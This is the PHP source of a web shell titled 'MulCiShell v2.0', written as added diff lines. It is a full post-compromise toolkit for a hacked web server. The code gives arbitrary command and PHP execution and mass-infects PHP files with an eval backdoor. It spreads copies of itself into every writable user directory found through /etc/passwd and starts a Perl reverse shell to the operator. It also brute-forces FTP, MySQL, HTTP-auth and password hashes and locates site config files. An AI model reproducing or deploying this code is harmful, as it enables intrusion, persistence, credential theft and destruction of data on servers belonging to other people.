+$allowed_addrs=array('127.0.0.1'); +$shell_email="KingDefacer@msn.com"; +$self=basename($_SERVER['PHP_SELF']); +$addr=$_SERVER['REMOTE_ADDR']; +$serv=@gethostbyname($_SERVER['HTTP_HOST']); +$soft=$_SERVER['SERVER_SOFTWARE']; +$safe_mode=(@ini_get("safe_mode")=='')?"OFF":"ON"; +$open_basedir=(@ini_get("open_basedir")=='')?"OFF":"ON"; +$uname=@php_uname(); +$space=TrueSize(disk_free_space(realpath(getcwd()))); +$total=TrueSize(disk_total_space(realpath(getcwd()))); +$id=@execmd("id",$disable); +$int_paths=array("mybb","phpbb","phpbb3","forum","forums","board","boards","bb","discuss"); +$inc_paths=array("includes","include","inc"); +$sql_build_path; +echo "<script type=\"text/javascript\" language=\"javascript\"> +function togglecheck() +{ + var cb=document.forms[0].check + for (i in cb) + { + cb[i].checked=(cb[i].checked)?false:true; + } +} +</script>"; +switch($access_control) #Break statements intentionally ommited +{ + case 3: + $ip_allwd=false; + foreach($allowed_addrs as $addr) + { + if($addr==$_SERVER['REMOTE_ADDR']) {$ip_allwd=true; break;} + if(!$ip_allwd) exit; + } + case 2: + if(!isset($_SERVER['PHP_AUTH_USER'])||$_SERVER['PHP_AUTH_USER']!=$md5_user||$_SERVER['PHP_AUTH_PW']!=$md5_pass) + { + header("WWW-Authenticate: Basic Realm=\"Restricted area\""); + header("HTTP/1.1 401 Unauthorized"); + echo "Wrong username/password"; + exit; + } + case 1: + if($_SERVER['HTTP_USER_AGENT']!=$user_agent) exit; +} +if($id) +{ + $s=strpos($id,"(",0)+1; + $e=strpos($id,")",$s); + $idval=substr($id,$s,$e-$s); +} +$disable=@ini_get("disable_functions"); +if(empty($disable)) $disable="None"; +function rm_rep($dir,&$success,&$fail) +{ + @$dh=opendir($dir); + if(is_resource($dh)) + { + while((@$rm=readdir($dh))) + { + if($rm=='.' || $rm=='..') continue; + if(is_dir($dir.'/'.$rm)) {echo "Deleting dir $dir/$rm...</br>"; rm_rep($dir.'/'.$rm,$success,$fail); continue;} + if(@unlink($dir.'/'.$rm)) {$success++;echo "Deleted $rm...</br>";} + else {$fail++; echo "Failed to delete $rm</br>";} + } + @closedir($dh); + } else echo "Failed to open dir $dir</br>"; +} +function chmod_rep($dir,&$success,&$fail,$mod_value) +{ + @$dh=opendir($dir); + if(is_resource($dh)) + { + while((@$ch=readdir($dh))) + { + if($ch=='.' || $ch=='..') continue; + if(is_dir($dir.'/'.$ch)) {echo "Changing file modes in dir $dir/$ch...</br>"; chmod_rep($dir.'/'.$ch,$success,$fail,$mod_value); continue;} + if(@chmod($dir.'/'.$ch,$mod_value)) {$success++;echo "Changed mode for $ch...</br>";} + else {$fail++; echo "Failed to chmod $rm</br>";} + } + @closedir($dh); + } else echo "Failed to open dir $dir</br>"; +} +#Complete these functions +function spread_self($user,&$c=0,$d=0) +{ + if(!$d) $dir="/home/$user/public_html/"; + else $dir=$d; + if(is_dir($dir)&&is_writable($dir)) + { + copy(CleanDir(getcwd()).'/'.basename($_SERVER['PHP_SELF']),$dir.$f.'/mshell.php'); + echo "[+] Shell copied to $dir.$f./mshell.php</br>"; + $c++; + } + if(@$dh=opendir($dir)) echo "[-] Failed to open dir $dir</br>"; + while((@$f=readdir($dh))) + { + if($f!="."&&$f!="..") + { + if(@is_dir($dir.$f)) + { + echo "[+] Spreading to dir $dir</br>"; + if(@is_writable($dir.$f)) + { + copy(CleanDir(getcwd()).'/'.basename($_SERVER['PHP_SELF']),$dir.$f.'/mshell.php'); + echo "[+] Shell copied to $dir.$f./mshell.php</br>"; + $c++; + } + $c+=spread_self($user,$c,$dir.$f.'/'); + } + } + } +} +function copy_rep($dir,&$c) +{ + +} +function backup_site() +{ + if(!isset($_POST['busite'])) + { + echo "<center>The following tool will attempt to retrieve every file from the specified dir (including child dirs).</br>If successful, you will be prompted for a site backup download.</br><i>Note: Only readable files will be downloaded. Images and executables will be discarded. This tool should only be used in scenarios in which you have to quickly retrieve a site's source.</i></center>"; + } +} +function infect_rep($dir,&$success,&$fail) +{ +} +function copy_dir($dir,$new_dir) +{ +} +################################## +function execmd($cmd,$d_functions="None") +{ + if($d_functions=="None") {$ret=passthru($cmd); return $ret;} + $funcs=array("shell_exec","exec","passthru","system","popen","proc_open"); + $d_functions=str_replace(" ","",$d_functions); + $dis_funcs=explode(",",$d_functions); + foreach($funcs as $safe) + { + if(!in_array($safe,$dis_funcs)) + { + if($safe=="exec") + { + $ret=@exec($cmd); + $ret=join("\n",$ret); + return $ret; + } + elseif($safe=="system") + { + $ret=@system($cmd); + return $ret; + } + elseif($safe=="passthru") + { + $ret=@passthru($cmd); + return $ret; + } + elseif($safe=="shell_exec") + { + $ret=@shell_exec($cmd); + return $ret; + } + elseif($safe=="popen") + { + $ret=@popen("$cmd",'r'); + if(is_resource($ret)) + { + while(@!feof($ret)) + $read.=@fgets($ret); + @pclose($ret); + return $read; + } + return -1; + } + elseif($safe="proc_open") + { + $cmdpipe=array( + 0=>array('pipe','r'), + 1=>array('pipe','w') + ); + $resource=@proc_open($cmd,$cmdpipe,$pipes); + if(@is_resource($resource)) + { + while(@!feof($pipes[1])) + $ret.=@fgets($pipes[1]); + @fclose($pipes[1]); + @proc_close($resource); + return $ret; + } + return -1; + } + } + } + return -1; +} +$links=array("Enumerate"=>"$self?act=enum","Files"=>"$self?act=files","Domains"=>"$self?act=domains","MySQL"=>"$self?act=sql","Encoder"=>"$self?act=encode", +"Sec. Info"=>"$self?act=sec","Cracker"=>"$self?act=bf", +"Bypassers"=>"$self?act=bypass","Tools"=>"$self?act=tools","Databases"=>"$self?act=dbs","Backdoor Host"=>"$self?act=bh","Back Connect"=>"$self?act=backc","Spread Shell"=>"$self?act=spread","Kill Shell"=>"$self?act=kill"); + echo "<html><head><title>MulCiShell v2.0 - Edited By KingDefacer</title></head>"; + switch($_SESSION['theme']) + { + case 'green': + echo "<style> + body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black;} + td {border: 1px solid #00FF00; background-color:#001f00; padding: 2px; font-size: 12px; color: #33FF00;} + td:hover{background-color: black; color: #33FF00;} + input{background-color: black; color: #00FF00; border: 1px solid green;} + input:hover{background-color: #006600;} + textarea{background-color: black; color: #00FF00; border: 1px solid white;} + a {text-decoration: none; color: #66FF00; font-weight: bold;} + a:hover {color: #00FF00;} + select{background-color: black; color: #00FF00;} + #main{border-bottom: 1px solid #33FF00; padding: 5px; text-align: center;} + #main a{padding-right: 15px; color:#00CC00; font-size: 12px; font-family: arial; text-decoration: none; } + #main a:hover{color: #00FF00; text-decoration: underline;} + #bar{width: 100%; position: fixed; background-color: black; bottom: 0; font-size: 10px; left: 0; border-top: 1px solid #FFFFFF; height: 12px; padding: 5px;} + </style> + <body>"; + break; + case 'dark': + echo "<style> + body{color: #FFFFFF; font-size: 12px; font-family: serif; background-color: #000000;} + td {border: 1px solid #FFFFFF; background-color: #000000; padding: 2px; font-size: 12px; color: #FFFFFF;} + input{background-color: black; color: #FFFFFF;; border: 1px solid #FFFFFF;} + input:hover{background-color: #000099;} + textarea{background-color: #000000; color: #FFFFFF; border: 1px solid white;} + a {text-decoration: none; color: #FFFFFF; font-weight: bold;} + a:hover {font-weight: bold;} + select{background-color: #000000; color: #FFFFFF;} + #main{border-bottom: 1px solid white; padding: 5px; text-align: center;} + #main a{padding-right: 15px; color:#FFFFFF; font-size: 12px; font-family: arial; text-decoration: none; } + #main a:hover{font-weight: bold;} + #bar{width: 100%; position: fixed; background-color: black; bottom: 0; font-size: 10px; left: 0; border-top: 1px solid #FFFFFF; height: 12px; padding: 5px;} + </style><body>"; + break; + default: + echo "<style> + body{color: white; font-size: 12px; font-family: arial; scrollbar-base-color:blue; scrollbar-arrow-color:yellow; scrollbar-face-color:blue; } + td {border: 1px solid #000099; background-color: #000033; padding: 2px; font-size: 12px; color: white; } + input{background-color: black; color: white; border: 1px solid #000066;} + input:hover{background-color: #000066; border: 1px solid white;} + td:hover {color: yellow; background: black;} + textarea{background-color: #000033; color: white; border: 1px solid white;} + a {text-decoration: none; color: white; font-weight: bold;} + a:hover {color: yellow} + select{background-color: black; color: white;} + #main{border-bottom: 1px solid #0066FF; padding: 5px; text-align: center;} + #main a{padding-right: 15px; color: white; font-size: 12px; font-family: arial; text-decoration: none; } + #main a:hover{color: #0033FF; text-decoration: underline;} + #bar{width: 100%; position: fixed; background-color: black; bottom: 0; font-size: 10px; left: 0; border-top: 1px solid #FFFFFF; height: 12px; padding: 5px;} + </style> + <body bgcolor='black'>"; + break; + } + echo base64_decode("PGNlbnRlcjxpbWcgc3JjPSdodHRwOi8vaW1nNTI5LmltYWdlc2hhY2sudXMvaW1nNTI5LzExNjYv +bWlsY2lzaGVsbGxrNi5wbmcnPjwvY2VudGVyPg=="); +echo "<table style='width: inherit; margin: auto; text-align: center;'> +<tr><td>Server IP</td><td>Your IP</td><td>Disk space</td><td>Safe_mode?</td><td>Open_BaseDir?</td><td>System</td><td>Server software</td><td>Disabled functions</td><td>ID</td><td>Shell location</td></tr> +<tr><td>$serv</td><td>$addr</td><td>$space of $total</td><td>$safe_mode</td><td>$open_basedir</td><td>$uname</td><td>$soft</td><td>$disable</td><td>$idval</td><td>".CleanDir(getcwd()).'/'.basename($_SERVER['PHP_SELF'])."</td></tr> +</table></br> +<div id='main'>"; +foreach($links as $val=>$addr) echo "<a href='$addr'>[ $val ]</a>"; +echo "</div><br>"; +if(isset($_POST['encryption'])) +{ + $e=$_POST['encrypt']; + echo "<form action='$self?' method='post'><center><textarea rows='19' cols='75' readonly>MD5: ".md5($e)."\nSHA1: ".sha1($e)."\nCrypt: ".crypt($e)."\nCRC32: ".crc32($e)."\nBase64 Encoded: ".base64_encode($e)."\nBase64 decoded: ".base64_decode($e)."\nURL encode: ".urlencode($e)."\nURL decode: ".urldecode($e)."\nBin2Hex ".bin2hex($e)."\nDec2Hex: ".dechex($e)."</textarea><br><br>Input: <input type='text' style='width: 300px' name='encrypt'> + <br><input type='submit' value='Encrypt' name='encryption'></center>"; +} +if(isset($_POST['dogetfile'])) +execmd("wget $_POST[wgetfile]",$disable); +if(isset($_POST['doUpload'])) +{ + $dir=$_POST['u_location']; + $name=$_FILES['u_file']['name']; + switch($_FILES['u_file']['error']) + { + case 0: + if(@move_uploaded_file($_FILES['u_file']['tmp_name'],$dir.'/'.$name)) + echo "File uploaded successfully<br>"; + else echo "Failed to upload file!"; + } +} +if(isset($_POST['massfiles'])) +{ + $fail=0; + $success=0; + switch($_POST['fileaction']) + { + case 'Infect': #Nothing special here, just kick them while they're down + foreach($_POST['files'] as $file) + { + $ext=strrchr($file,'.'); + if($ext!=".php") continue; + @$fh=fopen($file,'a'); + if(@is_resource($fh)) + { + $success++; + @fwrite($fh,"<?php @eval(\$_GET['e']) ?>"); + @fclose($fh); + } else $fail++; + } + echo "Successfully infected $success files; failed to infect $fail files</br>Exploit files as such: file.php?e=php code"; + break; + case 'Delete': + foreach($_POST['files'] as $file) + { + if(is_dir($file)) rm_rep($file,$success,$fail); + else + { + if(@unlink(CleanDir($file))) + { + echo "File $file deleted<br>"; + $success++; + } + else + { + echo "Failed to delete file $file<br>"; + $fail++; + } + } + } + echo "Total files deleted: $success; failed to delete $fail files<br>"; + break; + case 'Chmod': + foreach($_POST['files'] as $file) + { + if(is_dir($file)) chmod_rep($file,$success,$fail,$_POST['cmodv']); + if(@chmod(CleanDir($file),$_POST['cmodv'])) + { + echo "Changed mode for $file<br>"; + $success++; + } + else + { + echo "Failed to change mode for $file<br>"; + $fail++; + } + } + echo "Total files modes modified: $success; failed to chmod $fail files<br>"; + break; + } +} +if(isset($_POST['docrack'])) +{ + $con=true; + $show=0; + $list=@fopen($_FILES['wordlist']['tmp_name'],'r'); + if(is_resource($list)) + { + if(isset($_POST['ftpcrack'])) + { + echo "Bruting $_POST[ftp_user]@$_POST[ftp_host]...</br>"; + if(!empty($_POST['ftp_port'])) $port=$_POST['ftp_port']; + else $port='3306'; + if(empty($_POST['ftp_timeout'])||!preg_match("/^[0-9]$/",$_POST['ftp_timeout'])) + $time=3; + else $time=$_POST['ftp_timeout']; + @$ftp=ftp_connect($_POST['ftp_host'],$port,$time); + if(!$ftp) $con=false; + if($con) + { + $show++; + while(!feof($list)) + { + @$pass=fgets($list); + if(ftp_login($ftp,$_POST['ftp_user'],trim($pass))) + { + echo "Password found! Password for $_POST[ftp_user] is $pass<br>"; + @ftp_close($ftp); + break; + } + if($show==10000){echo "Trying pass $pass...</br>"; $show=0;} + } + } else echo "Failed to connect!</br>"; + } + elseif(isset($_POST['remote_login'])) + { + //if(!function_exists("jitghjytiojho")) die("cURL support has to be enabled."); + /* + $ch=curl_init($_POST['remote_login_target']); + curl_setopt($ch,CURLOPT_HEADER,0); + curl_setopt($ch,CURLOPT_POST,1); + curl_setopt($ch,CURLOPT_POSTFIELDS,''); + curl_exec($ch); + */ + if(preg_match("/^http:\/\/+/",$_POST['remote_login_target'])) die("Do not include http:// in the target URL."); + $path=explode('/',$_POST['remote_login_target']); + $site=$path[0]; + for($i=1;$i<count($path);$i++) $full_path.='/'.$path[$i]; + + } + elseif(isset($_POST['vbcrack'])) + { + if(empty($_POST['vbhash']) OR empty($_POST['vbsalt'])) die("Please specify a hash and salt"); + while(!feof($list)) + { + $show++; + $pass=trim(fgets($list)); + $vbenc=md5(md5($pass).$_POST['vbsalt']); + if($vbenc===$_POST['vbhash']) + { + echo "Password for $_POST[vbhash] found! is $pass</br>"; + break; + } + if($show===10000) + { + $show=0; + echo "Trying pass $pass...</br>"; + } + } + echo "Complete</br>"; + } + elseif(isset($_POST['mysqlcrack'])) + { + $host=$_POST['mysql_host']; + $user=$_POST['mysql_user']; + if(!empty($_POST['mysql_port'])) $host.=":$_POST[mysql_port]"; + while(!feof($list)) + { + $show++; + $pass=trim(fgets($list)); + if(@mysql_connect($host,$user,$pass)) + { + echo "Password found! Password for $user is $pass</br>"; + break; + } + if($show==10000) + { + echo "Trying $pass...</br>"; + $show=0; + continue; + } + } + } + elseif(isset($_POST['authcrack'])) + { + $arr=explode('/',$_POST['auth_url']); + $con_url=$arr[0]; + if(empty($_POST['auth_url'])) die("Enter a target first..."); + for($i=1;$i<count($arr);$i++) $path.='/'.$arr[$i]; + if(preg_match("/^http:\/\/+/",$_POST['auth_url'])) die("Do not include http:// in the url"); + while(!feof($list)) + { + if(is_resource($conn_url=fsockopen($con_url,80,$errno,$errstr,5))) + { + $show++; + $pass=trim(fgets($list)); + if($show>5000) {$show=0; echo $pass;} + $encode=base64_encode(trim($_POST['auth_user']).':'.$pass); + $header="GET $path HTTP/1.1\r\n"; + $header.="Host: $con_url\r\n"; + $header.="Authorization: Basic $encode\r\n"; + $header.="Connection: Close\r\n\r\n"; + fputs($conn_url,$header,strlen($header)); + $tmp++; + while(!feof($conn_url)) + { + $tmp=fgets($conn_url); + if(preg_match("/HTTP\/\d+\.\d+ 200+/",$tmp)) + { + echo "Password found! Password=$pass</br></br>"; + break 2; + } + } + } + } + echo "Done</br>"; + } + elseif(isset($_POST['md5crack'])) + { + if(empty($_POST['md5hash'])) die("Enter a hash before attempting to crack one ;)"); + $md5=trim($_POST['md5hash']); + while(!feof($list)) + { + $show++; + $pass=trim(fgets($list)); + if(md5($pass)===$md5) + { + echo "Password found! Plaintext for $md5 is $pass</br>"; + break; + } + if($show==10000) + { + echo "Trying $pass...</br>"; + $show=0; + continue; + } + } + } + elseif(isset($_POST['sha1crack'])) + { + if(empty($_POST['sha1hash'])) die("Enter a hash before attempting to crack one ;)"); + $sha1=trim($_POST['sha1hash']); + while(!feof($list)) + { + $show++; + $pass=trim(fgets($list)); + if(sha1($pass)===$sha1) + { + echo "Password found! Plaintext for $sha1 is $pass</br>"; + break; + } + if($show==10000) + { + echo "Trying $pass...</br>"; + $show=0; + continue; + } + } + } + } + @fclose($list); +} +if(isset($_POST['port_scan'])) +{ + switch($_POST['type']) + { + case 'php': + extract($_POST); + while($sport<=$eport) + { + echo "Trying port $sport"; + if(@fsockopen($host,$sport,$errno,$errstr,2)) echo "Port $sport open</br>"; + $sport++; + } + break; + default: + echo "Invalid request</br>"; + } +} +if(isset($_POST['find_forums'])) +{ + echo "<center><b>[ Forum locator ]</b></center></br></br>"; + $found=0; + global $int_paths; + @$fp=fopen($_POST['passwd'],'r') or die("Failed to open passwd file!"); + while(!feof($fp)) + { + @list($user,$x,$uid,$gid,$blank,$home_dir)=explode(":",fgets($fp)); + $path="/home/$user/public_html"; + if(@is_dir($path)) + { + foreach($int_paths as $forum_path) + { + $full_path=$path."/$forum_path/"; + if(@is_dir($full_path)) + { + echo "[+] Forum found: Path: $full_path</br>"; + $found++; + continue; + } + } + } + } + echo "Scan complete. Found $found forums</br></br>"; +} +function find_configs($path,&$found) +{ + if(@file_exists($path.'config.php')) + { + echo "Found config file: $path"."config.php</br>"; + $found++; + } + @$dh=opendir($path); + while((@$file=readdir($dh))) + if(is_dir($file)&&$file!='.'&&$file!='..') find_configs($path.$file.'/',$found); + @closedir($dh); +} +if(isset($_POST['find_configs'])) +{ + $found=0; + echo "<center><b>[ Config locator ]</b></center></br></br>"; + @$fp=fopen($_POST['passwd'],'r') or die("Failed to open passwd file!"); + while(!feof($fp)) + { + @list($user,$x,$uid,$gid,$blank,$home_dir)=explode(":",fgets($fp)); + $path="/home/$user/public_html/"; + find_configs($path,$found); + } + @fclose($fp); + echo "Scan complete. Found $found configs</br></br>"; +} +if(isset($_POST['execmd'])) +{echo "<center><textarea rows='10' cols='100'>"; +echo execmd($_POST['cmd'],$disable); +echo "</textarea></center>";} +if(isset($_POST['execphp'])) +{echo "<center><textarea rows='10' cols='100'>"; +echo eval(stripslashes($_POST['phpcode'])); +echo "</textarea></center>";} +if(isset($_POST['cnewfile'])) +{ + if(@fopen($_POST['newfile'],'w')) echo "File created<br>"; + else echo "Failed to create file<br>"; +} +if(isset($_POST['cnewdir'])) +{ + if(@mkdir($_POST['newdir'])) echo "Directory created<br>"; + else echo "Failed to create directory<br>"; +} +if(isset($_POST['doeditfile'])) FileEditor(); +switch($_GET['act']) +{ + case 'backc': + if(!isset($_POST['backconnip'])) + { + echo "<center><form action='$self?act=backc' method='post'> + Address: <input type='text' value='$_SERVER[REMOTE_ADDR]' name='backconnip'> + Port: <input type='text' value='1337' name='backconnport'> + <input type='submit' value='Connect'></br></br> + Listen with netcat by executing 'nc -l -n -v -p 1337'</br></br> + <b>Note: Be sure to foward your port first</b> + </form></center>"; + } else { + if(empty($_POST['backconnport'])||empty($_POST['backconnip'])) die("Specify a host/port"); + if(is_writable(".")) + { + @$fh=fopen(getcwd()."/bc.pl",'w'); + @fwrite($fh,base64_decode($backconnect_perl)); + @fclose($fh); + echo "Attempting to connect...</br>"; + execmd("perl ".getcwd()."/bc.pl $_POST[backconnip] $_POST[backconnport]",$disable); + if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FF0000'>Warning: Failed to delete reverse-connection program</font></br>"; + } else { + @$fh=fopen("/tmp/bc.pl","w"); + @fwrite($fh,base64_decode($backconnect_perl)); + @fclose($fh); + echo "Attempting to connect...</br>"; + if(!@unlink("/tmp/bc.pl")) echo "<font color='#FF0000'><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>"; + } + } + break; + case 'dbs': database_tools(); break; + case 'sql': SQLLogin(); break; + case 'sqledit': SQLEditor(); break; + case 'download': SQLDownload(); break; + case 'tools': show_tools(); break; + case 'logout': $_SESSION=array(); session_destroy(); echo "Logged out from MySQL.<br>"; break; + case 'f': FileEditor(); break; + case 'encode':Encoder(); break; + case 'bypass':security_bypass(); break; + case 'bf':brute_force(); break; + case 'bh': BackDoor(); break; + case 'spread': + if(!isset($_POST['spread_shell'])) + { + echo "<center><form action='?act=spread' method='post'> + This tool will attempt to copy the shell into every writable directory on the server, in order to allow access maintaining.</br> + Passwd file: <input type='text' value='/etc/passwd' name='passwd_file'></br> + <input type='submit' value='Spread' name='spread_shell'> + </form></center>"; + } else { + $s=0; + @$file=fopen($_POST['passwd_file'],'r'); + if(is_resource($file)) + { + while(!feof($file)) + { + @list($user,$x,$uid,$gid,$blank,$home_dir)=explode(":",fgets($file)); + spread_self($user,$s); + } + @fclose($file); + } + echo ($s>0)?"Spread complete. Successfully managed to spread the shell $s times</br>":"Failed to spread the shell.</br>"; + } + break; + case 'domains': + $header="GET /search/reverse-ip-domain.php?q=$_SERVER[HTTP_HOST] HTTP/1.0\r\n"; + $header.="Host: searchy.protecus.de\r\n"; + $header.="Connection: Close\r\n\r\n"; + $domain_handle=fsockopen("searchy.protecus.de",80); + @fputs($domain_handle,$header,strlen($header)); + while(@!feof($domain_handle)) + { + echo fgets($domain_handle); + } + break; + case 'kill': + if(!isset($_POST['justkill'])) + { + echo "<center>Do you *really* want to kill the shell?<br><br><form action='$self?act=kill' method='post'> + <input type='submit' value='Yes' name='justkill'></center>"; + } else { + if(@unlink(basename($_SERVER['PHP_SELF']))) echo "Shell deleted.<br>"; + else echo "Failed to delete shell<br>"; + } + break; + case 'sec': + $mysql_on=function_exists("mysql_connect")?"ON":"OFF"; + $curl_on=function_exists("curl_init")?"ON":"OFF"; + $magic_quotes_on=get_magic_quotes_gpc()?"ON":"OFF"; + $register_globals_on=(@ini_get('register_globals')=='')?"OFF":"ON"; + $include_on=(@ini_get('allow_url_include')=='')?"Disabled":"Enabled"; + $etc_passwd=@is_readable("/etc/passwd")?"Yes":"No"; + $ver=phpversion(); + echo "<center>Security overview</center><table style='margin: auto;'><tr><td>PHP Version</td><td>Safe mode</td><td>Open_Basedir</td><td>Magic_Quotes</td><td>Register globals</td><td> + Remote includes</td><td>Read /etc/passwd?</td><td>MySQL</td><td>cURL</td></tr> + <tr><td>$ver</td><td>$safe_mode</td><td>$open_basedir</td><td>$magic_quotes_on</td><td>$register_globals_on</td><td>$include_on</td> + <td>$etc_passwd</td><td>$mysql_on</td><td>$curl_on</td> + </tr>"; + "</table>"; + break; + case 'enum': + $windows=0; + $path=CleanDir(getcwd()); + if(!eregi("Linux",php_uname())) {$windows=1;} + if(!$windows) + { + $spath=str_replace("/home/","$serv/~",$path); + $spath=str_replace("/public_html/","/",$spath); + $URL="http://$spath/".basename($_SERVER['PHP_SELF']); + echo "Enumerated shell link: <a href='$URL'>$URL</a>"; + } else echo "Enumeration failed<br>"; + break; +} +echo "<br>"; +if(isset($_POST['sqlquery'])) +{ + extract($_SESSION); + $conn=@mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + if(isset($_POST['db'])) @mysql_select_db($_POST['db']); + $post_query=@mysql_query(stripslashes($_POST['sqlquery'])) or die(mysql_error()); + $affected=@mysql_num_rows($post_query); + echo "Affected rows: $affected<br>"; + } +} +$dirs=array(); +$files=array(); +if(!isset($_GET['d'])) {$d=CleanDir(realpath(getcwd())); $dh=@opendir(".") or die("Permission denied!");} +else {$d=CleanDir($_GET['d']); $dh=@opendir($_GET['d']) or die("Permission denied!");} +$current=explode("/",$d); +echo "<table style='width: 100%; text-align: center;'><tr><td>Current location: ";for($p=0;$p<count($current);$p++) +for($p=0;$p<count($current);$p++) +{ + $cPath.=$current[$p].'/'; + echo "<a href=$self?d=$cPath>$current[$p]</a>/"; +} +echo "</td></tr></table>"; +if(isset($_GET['d'])) echo "<form action='$self?d=$_GET[d]' method='post'>"; +else echo "<form action='$self?' method='post'>"; +echo "<table style='width: 100%'> +<tr><td>File</td><td>Size</td><td>Owner/group</td><td>Perms</td><td>Writable</td><td>Modified</td><td>Action</td></tr>"; +while(($f=@readdir($dh))) +{ + if(@is_dir($d.'/'.$f)) $dirs[]=$f; + else $files[]=$f; +} +asort($dirs); +asort($files); +@closedir($dh); + foreach($dirs as $f) + { + @$own=function_exists("posix_getpwuid")?posix_getpwuid(fileowner($d.'/'.$f)):fileowner($d.'/'.$f); + @$grp=function_exists("posix_getgrgid")?posix_getgrgid(filegroup($d.'/'.$f)):filegroup($d.'/'.$f); + if(is_array($grp)) $grp=$grp['name']; + if(is_array($own)) $own=$own['name']; + $size="DIR"; + @$ch=substr(base_convert(fileperms($d.'/'.$f),10,8),2); + @$write=is_writable($d.'/'.$f)?"Yes":"No"; + $mod=date("d/m/Y H:i:s",filemtime($d.'/'.$f)); + if($f==".") {continue;} + elseif($f=="..") + { + $f=Trail($d.'/'.$f); + echo "<tr><td><a href='$self?act=files&d=$f'>..</a></td><td>$size</td><td>$own/$grp</td><td>$ch</td><td>$write</td><td>$mod</td><td>None</td></tr>"; + continue; + } + echo "<tr><td><a href='$self?act=files&d=$d/$f'>$f</a></td><td>$size</td><td>$own/$grp</td><td>$ch</td><td>$write</td><td>$mod</td><td><input type='checkbox' name='files[]' id='check' value='$d/$f'></td></tr>"; + } + foreach($files as $f) + { + @$own=function_exists("posix_getpwuid")?posix_getpwuid(fileowner($d.'/'.$f)):fileowner($d.'/'.$f); + @$grp=function_exists("posix_getgrgid")?posix_getgrgid(filegroup($d.'/'.$f)):filegroup($d.'/'.$f); + if(is_array($grp)) $grp=$grp['name']; + if(is_array($own)) $own=$own['name']; + @$size=TrueSize(filesize($d.'/'.$f)); + @$ch=substr(base_convert(fileperms($d.'/'.$f),10,8),3); + @$write=is_writable($d.'/'.$f)?"Yes":"No"; + @$mod=date("d/m/Y H:i:s",filemtime($d.'/'.$f)); + echo "<tr><td><a href='$self?act=f&file=$d/$f'>$f</a></td><td>$size</td><td>$own/$grp</td><td>$ch</td><td>$write</td><td>$mod</td><td><input type='checkbox' name='files[]' id='check' value='$d/$f'></td></tr>"; + } + echo "</table> + <input type='button' style='background-color: none; border: 1px solid white;' value='Toggle' onClick='togglecheck()'></br> + With checked file(s): + <select name='fileaction'> + <option name='chmod'>Chmod</option> + <option name='delete'>Delete</option> + <option name='infect'>Infect</option><input type='text' value='chmod value' name='cmodv'> + </select> + <br><input type='submit' value='Go' name='massfiles'></form>"; +function SQLLogin() +{ + global $self; + if(!isset($_SESSION['log'])&&!isset($_POST['mconnect'])) + { + echo "<center><form action='$self?act=sql' method='post'> + Host: <input type='text' value='localhost' name='mhost'> + Username: <input type='text' value='root' name='muser'> + Password: <input type='password' value='' name='mpass'> + Port: <input type='text' style='width: 40px' value='3306' name='mport'> + <input type='submit' value='Connect' name='mconnect'> + </form> + </center>"; + } + elseif(!isset($_SESSION['log'])&&isset($_POST['mconnect'])) + { + extract($_POST); + $conn=@mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + $_SESSION['muser']=$muser; + $_SESSION['mhost']=$mhost; + $_SESSION['mpass']=$mpass; + $_SESSION['mport']=$mport; + $_SESSION['log']=true; + header("Location: $self?act=sqledit"); + } + else + echo "Failed to login with $muser@$mhost!<br>"; + } else { + header("Location: $self?act=sqledit"); + } +} +function SQLEditor() +{ + extract($_SESSION); + $conn=@mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + echo "Logged in as $muser@$mhost <a href='$self?act=logout'>[Logout]</a><center>"; + echo "<form method='POST' action='$self?'> + Quick SQL query: <input type='text' style='width: 300px' value='select * from users' name='sqlquery'> + <input type='hidden' name='db' value='$_GET[db]'> + <input type='submit' value='Go' name='sql'> + </form>"; + echo "<form action='$self?act=sqledit' method='post'> + <input type='submit' style='border: none;' value='[ List Processes ]' name='sql_list_proc'> + </form></center></br></br>"; + if(isset($_POST['sql_list_proc'])) + { + $res=mysql_list_processes(); + echo "<table style='margin: auto; text-align: center;'><tr> + <td>Proc ID</td><td>Host</td><td>DB</td><td>Command</td><td>Time</td> + </tr>"; + while($r=mysql_fetch_assoc($res)) echo "<tr><td>$r[Id]</td><td>$r[Host]</td><td>$r[db]</td><td>$r[Command]</td><td>$r[Time]</td></tr>"; + mysql_free_result($res); + echo "</table></br>"; + } + if(!isset($_GET['db'])) + { + if(isset($_POST['dbc'])) db_create(); + if(isset($_GET['dropdb'])) SQLDrop(); + echo "<table style='margin: auto; text-align: center;'> + <tr><td>Database</td><td>Table count</td><td>Download</td><td>Drop</td></tr>"; + $all_your_base=mysql_list_dbs($conn); + while($your_base=mysql_fetch_assoc($all_your_base)) + { + $tbl=mysql_query("SHOW TABLES FROM $your_base[Database]"); + $tbl_count=mysql_num_rows($tbl); + echo "<tr><td><a href='$self?act=sqledit&db=$your_base[Database]'>$your_base[Database]</td><td>$tbl_count</td><td><a href='$self?act=download&db=$your_base[Database]'>Download</a></td><td><a href='$self?act=sqledit&dropdb=$your_base[Database]'>Drop</a></td></tr>"; + } + echo "</table></br><center><form action='$self?act=sqledit' method='post'>New database name: <input type='text' value='new_database' name='db_name'><input type='submit' style='border: none;' value='[ Create Database ]' name='dbc'></form></center></br>"; + } + elseif(isset($_GET['db'])&&!isset($_GET['tbl'])) + { + if(isset($_POST['tblc'])) table_create(); + if(isset($_GET['droptbl'])) SQLDrop(); + echo "<table style='margin: auto; text-align: center;'> + <tr><td>Table</td><td>Column count</td><td>Dump</td><td>Drop</td></tr>"; + $tables=mysql_query("SHOW TABLES FROM $_GET[db]"); + while($tblc=mysql_fetch_array($tables)) + { + $fCount=mysql_query("SHOW COLUMNS FROM $_GET[db].$tblc[0]"); + $fc=mysql_num_rows($fCount); + echo "<tr><td><a href='$self?act=sqledit&db=$_GET[db]&tbl=$tblc[0]'>$tblc[0]</a></td><td>$fc</td><td><a href='$self?act=download&db=$_GET[db]&tbl=$tblc[0]'>Dump</td><td><a href='$self?act=sqledit&db=$_GET[db]&droptbl=$tblc[0]'>Drop</a></td></tr>"; + } + echo "</table></br><center><form action='$self?act=sqledit&db=$_GET[db]' method='post'>Create new table: <input type='text' value='new_table' name='table_name'><input type='hidden' value='$_GET[db]' name='db_current'> <input type='submit' style='border: none;' value='[ Create Table ]' name='tblc'></form></center>"; + } + 